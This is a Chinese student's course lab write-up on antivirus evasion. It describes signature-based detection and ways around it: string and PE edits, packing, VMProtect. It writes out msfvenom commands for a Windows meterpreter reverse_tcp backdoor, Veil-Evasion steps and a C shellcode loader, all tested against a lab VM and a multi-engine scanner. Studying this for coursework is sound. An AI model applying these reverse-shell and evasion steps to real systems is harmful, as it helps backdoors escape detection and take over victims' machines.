《网络攻防》实验三:免杀原理与实践

《网络攻防》实验三:免杀原理与实践

世界上公认的第一个在个人电脑上广泛流行的病毒是1986年初诞生的大脑(C-Brain)病毒,编写该病毒的是一对巴基斯坦兄弟,两兄弟经营着一家电脑公司,以出售自己编制的电脑软件为生。当时,由于当地盗版软件猖獗,为了防止软件被任意非法拷贝,也为了追踪到底有多少人在非法使用他们的软件,于是在1986年年初,他们编写了 “大脑(Brain)”病毒,又被称为“巴基斯坦”病毒。该病毒运行在DOS操作系统下,通过软盘传播,只在盗拷软件时才发作,发作时将盗拷者的硬盘剩余空间吃掉。

说在前面的话

有人说恶意代码与其检测是一个猫捉老鼠的游戏,正所谓“道高一尺,魔高一丈”,从1986年第一个病毒的诞生,到现在恶意代码的检测与免杀之间智慧的火花碰溅不断,硝烟四起。从灰鸽子、冰毒到熊猫烧香:从经典二CCL定位到经典的OD一半一半定位法。可以看出,两者也是不断进化进步的。但不同于“先有鸡还是先有蛋”,单从检测的角度来说,反恶意代码的脚步总是落后于恶意代码的发展,是被动的。今天,老师让我扮演一个萌新的“黑客”,任务是实现后门免杀。

知己知彼

恶意代码分析方法
静态分析方法,是指在不执行二进制程序的条件下进行分析,如反汇编分析,源代码分析,二进制统计分析,反编译等,属于逆向工程分析方法。

     - (1)静态反汇编分析,是指分析人员借助调试器来对而已代码样本进行反汇编出来的程序清单上根据汇编指令码和提示信息着手分析。  
     - (2)静态源代码分析,在拥有二进制程序的源代码的前提下,通过分析源代码来理解程序的功能、流程、逻辑判定以及程序的企图等。 
     - (3)反编译分析,是指经过优化的机器代码恢复到源代码形式,再对源代码进行程序执行流程的分析。 

动态分析方法,是指恶意代码执行的情况下利用程序调试工具对恶意代码实施跟踪和观察,确定恶意代码的工作过程对静态分析结果进行验证。

     - (1)系统调用行为分析方法  正常行为分析常被应用于异常检测之中,是指对程序的正常行为轮廓进行分析和表示,为程序建立一个安全行为库,当被监测程序的实际行为与其安全行为库中的正常行为不一致或存在一定差异时,即认为该程序中有一个异常行为,存在潜在的恶意性。  恶意行为分析则常被误用检测所采用,是通过对恶意程序的危害行为或攻击行为进行分析,从中抽取程序的恶意行为特征,以此来表示程序的恶意性。  
     - (2)启发式扫描技术  启发式扫描技术是为了弥补被广泛应用的特征码扫面技术的局限性而提出来的.其中启发式是指“自我发现能力或运用某种方式或方法去判定事物的知识和技能”。

考虑到以上引用度娘说的话有点晦涩难懂,我贴心地递上白话文版!

通常,一个病毒防御工作者拿到一个截获或上报上来的病毒时,先是分析这个病毒文件执行后的动作,所谓"动作",就是指病毒文件执行后会做哪些操作。例如会生成什么新文件、怎样更改注册表、怎样注册服务、打开什么端口等等。
搞明白这些后,下一步一般会研究这个病毒的文件结构,然后找出与众不同的地方,将其定义为特征码。而这个特征码定义的高明与否,就要看他定义的位置是否刁钻,例如他如果定义的是病毒文件更改注册表键值那部分代码的话,这显然不会太难!因为只要病毒文件更改键值,99%的情况下这个文件里一定存在被更改键值的字符串,所以找到这段字符串的位置就可以定义特征码了。但是针对这种特征码做免杀是非常容易的,只需找到相应的位置,并更改字母的大小写即可。而如果从文件头找出一段特征码就是非常不容易的事情了……除此之外,所定义的特征码还有一个分支,即内存特征码。所谓内存特征码就是指木马文件运行后释放到内存时所存在的特征,它的原理大体与上面介绍的文件特征码一样。
当特征码定义出来之后,就会被提交到另外的一个部门,然后进入病毒定义库,当用户更新后,以后杀毒软件在碰到符合要求的文件时就会将其毫不忧郁的杀掉!也就是说,杀毒软件只认特征码,不认文件。

大逃杀!

给恶意代码加壳,加花,修改特征码...... 使杀毒软件不能杀这个病毒,木马 ,恶意代码免遭杀毒软件“毒手”,此谓免杀!以下给大家介绍正确的、丰富的免杀姿势,当然啦!不是原创总结,具体参考引用博主byte_way
一、主动免杀

1. 修改字符特征:主动查找可能的特征码,包括木马文件修改注册表、生成新文件的名称与路径、注入的进程名等动作,也包括运行过程中可能出现或一定会出现的字符等文件特征。然后找出这些字符,并将其修改。 
2. 修改输入表:查找此文件的输入表函数名(API Name),并将其移位。 
3. 打乱文件结构:利用跳转(JMP),打乱文件原有结构。 
4. 修改入口点:将文件的入口点加1。 
5. 修改PE段:将PE段移动到空白位置 

二、被动免杀

1. 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。 
2. 用Vmprotect:使用Vmprotect加密区段。 
3. 文件加壳:可以用一些比较生僻的壳对木马文件进行保护。 

利器以善事

在了解了杀毒软件检测恶意代码的原理和掌握了免杀的方式,我们离实战还缺些什么技术或步骤?首当其冲的是如何编写可以免杀的后门程序,这个可以通过参考班级大神的博客止渴;其次,如何检验免杀的效果?仅仅通过电脑自带的杀毒软件检验,存在检验的样本太少,不同免杀的后门之间的差异区分度不高。我们可以通过验毒网站检测一下有多少查毒软件可以将其查杀出来。通过检测出的杀毒软件的数量区分差异。

绝知免杀要躬行

在下不才,先感谢我的两位导师高其、张薇。在参考两位大触的博客后,我感觉自己少走了十八里路。接下来就是我偷渡阴平,直取蜀汉啦!
Kali IP:192.168.88.144,Windows IP: 192.168.88.139

msfvenom直接生成meterpreter可执行文件

解:由上次实验博客得
首先在虚拟机上输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.139 LPORT=5213 -f exe > 20145213.exe
主机输入指令ncat.exe -lv 5213 > 20145213.exe
虚拟机输入指令ncat -nv 192.168.88.139 < 20145213.exe把文件传送过去
《网络攻防》实验三:免杀原理与实践_第1张图片
毕竟还是太粗糙了,电脑管家检测到并删除不奇怪,添加到信任去,找回文件即可。到验毒网站检测一下有多少查毒软件可以将其查杀出来,结果如下:
《网络攻防》实验三:免杀原理与实践_第2张图片

使用Veil-Evasion生成可执行文件

Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
在终端下输入指令veil-evasion即可打开软件,
《网络攻防》实验三:免杀原理与实践_第3张图片
根据menu的提示依次键入以下指令:

use python/meterpreter/rev_tcp  //设置payload
set LHOST 192.168.88.144    //设置反弹连接IP
set port 5213    //设置反弹端口5213
generate    //生成
145213    //程序名

《网络攻防》实验三:免杀原理与实践_第4张图片
《网络攻防》实验三:免杀原理与实践_第5张图片
《网络攻防》实验三:免杀原理与实践_第6张图片
以图可知,该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里。到验毒网站检测一下有多少查毒软件可以将其查杀出来,结果如下:
《网络攻防》实验三:免杀原理与实践_第7张图片
《网络攻防》实验三:免杀原理与实践_第8张图片
898082-20170322221122283-1616078029.png

使用C语言调用Shellcode

使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.144 LPORT=5213 -f c命令生成一个C语言shellcode数组
《网络攻防》实验三:免杀原理与实践_第9张图片
将上面生成的数组copy到win8的主机上,用VC6.0编写一个C程序并编译。
编译成功,生成两个可执行的文件
《网络攻防》实验三:免杀原理与实践_第10张图片
《网络攻防》实验三:免杀原理与实践_第11张图片
检测一下:
《网络攻防》实验三:免杀原理与实践_第12张图片
《网络攻防》实验三:免杀原理与实践_第13张图片
《网络攻防》实验三:免杀原理与实践_第14张图片
在Kali下使用msf监听(如何进行msf监听),运行刚刚编译生成的可执行文件,成功获取权限
《网络攻防》实验三:免杀原理与实践_第15张图片

吾日三省吾身

唉,本次实验的尾声,又是熟悉的老面孔啦!
《网络攻防》实验三:免杀原理与实践_第16张图片
据我分析,要么是输错了IP,烦了粗心大意的错误。要么,改装的代码有问题,毕竟是用“拿来主义”而不是自己原创的,不能知根知底。
高中生物老师告诉我,要控制变量。因此,这次排除实验的唯一变量是后门程序,一个是第二次实验中生成的后门,一个是这次免杀的后门。以下是结果:
898082-20170323165832815-1837021275.png
vs
《网络攻防》实验三:免杀原理与实践_第17张图片
引用福尔摩斯的一句名言> 一旦你排除了所有不可能的事实外,那么剩下的,不管多么不可思议,那就是事实的真相. 当排除了所有其它的可能性,还剩一个时,不管有多么的不可能,那都是真相.
此时不得不承认,造成老是监听的原因,代码的锅跑不了了。在经过和张亚军同学友好且深入的沟通交流后,我们发现代码错误在于不能直接引用别人的代码,容易“水土不服”,代码的整体结构不变,在数组处要替换成自己电脑的数组(两个很相似,但一定要替换哦!)在替换自己电脑的数组后,“曲高和寡”的问题终于解决了,Kali的监听终于有了肉鸡的回应,我们在祝福他们的同时,这次试验也完满结束啦!

转载于:https://www.cnblogs.com/qiwei/p/6602041.html

你可能感兴趣的:(运维,操作系统,c/c++)